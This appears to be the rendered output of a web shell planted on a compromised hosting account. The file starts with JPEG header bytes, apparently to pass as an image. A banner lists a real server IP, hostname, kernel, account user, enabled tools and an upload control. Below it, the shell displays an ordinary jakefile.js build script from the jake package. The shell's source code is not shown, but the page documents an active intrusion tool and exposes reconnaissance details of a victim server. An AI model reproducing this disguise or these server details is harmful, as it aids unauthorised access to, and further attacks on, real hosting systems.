ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/./././././nodevenv/public_html/dp_taxhelplines/14/lib/node_modules/jake/ |
Upload File : |
let fs = require('fs')
let path = require('path');
let proc = require('child_process');
const PROJECT_DIR = process.cwd();
process.env.PROJECT_DIR = PROJECT_DIR;
namespace('doc', function () {
task('generate', ['doc:clobber'], function () {
var cmd = '../node-jsdoc-toolkit/app/run.js -n -r=100 ' +
'-t=../node-jsdoc-toolkit/templates/codeview -d=./doc/ ./lib';
jake.logger.log('Generating docs ...');
jake.exec([cmd], function () {
jake.logger.log('Done.');
complete();
});
}, {async: true});
task('clobber', function () {
var cmd = 'rm -fr ./doc/*';
jake.exec([cmd], function () {
jake.logger.log('Clobbered old docs.');
complete();
});
}, {async: true});
});
desc('Generate docs for Jake');
task('doc', ['doc:generate']);
npmPublishTask('jake', function () {
this.packageFiles.include([
'Makefile',
'jakefile.js',
'README.md',
'package.json',
'usage.txt',
'lib/**',
'bin/**',
'test/**'
]);
this.packageFiles.exclude([
'test/tmp'
]);
});
jake.Task['publish:package'].directory = PROJECT_DIR;
namespace('test', function () {
let integrationTest = task('integration', async function () {
let testArgs = [];
if (process.env.filter) {
testArgs.push(process.env.filter);
}
else {
testArgs.push('*.js');
}
let spawned = proc.spawn(`${PROJECT_DIR}/node_modules/.bin/mocha`, testArgs, {
stdio: 'inherit'
});
return new Promise((resolve, reject) => {
spawned.on('exit', () => {
resolve();
});
});
});
integrationTest.directory = `${PROJECT_DIR}/test/integration`;
let integrationClobber = task('integrationClobber', function () {
proc.execSync('rm -rf package.json pkg tmp_publish');
});
integrationClobber.directory = `${PROJECT_DIR}/test/integration`;
let unitTest = task('unit', async function () {
let testArgs = [];
if (process.env.filter) {
testArgs.push(process.env.filter);
}
else {
testArgs.push('*.js');
}
let spawned = proc.spawn(`${PROJECT_DIR}/node_modules/.bin/mocha`, testArgs, {
stdio: 'inherit'
});
});
unitTest.directory = `${PROJECT_DIR}/test/unit`;
});
desc('Runs all tests');
task('test', ['test:unit', 'test:integration', 'test:integrationClobber']);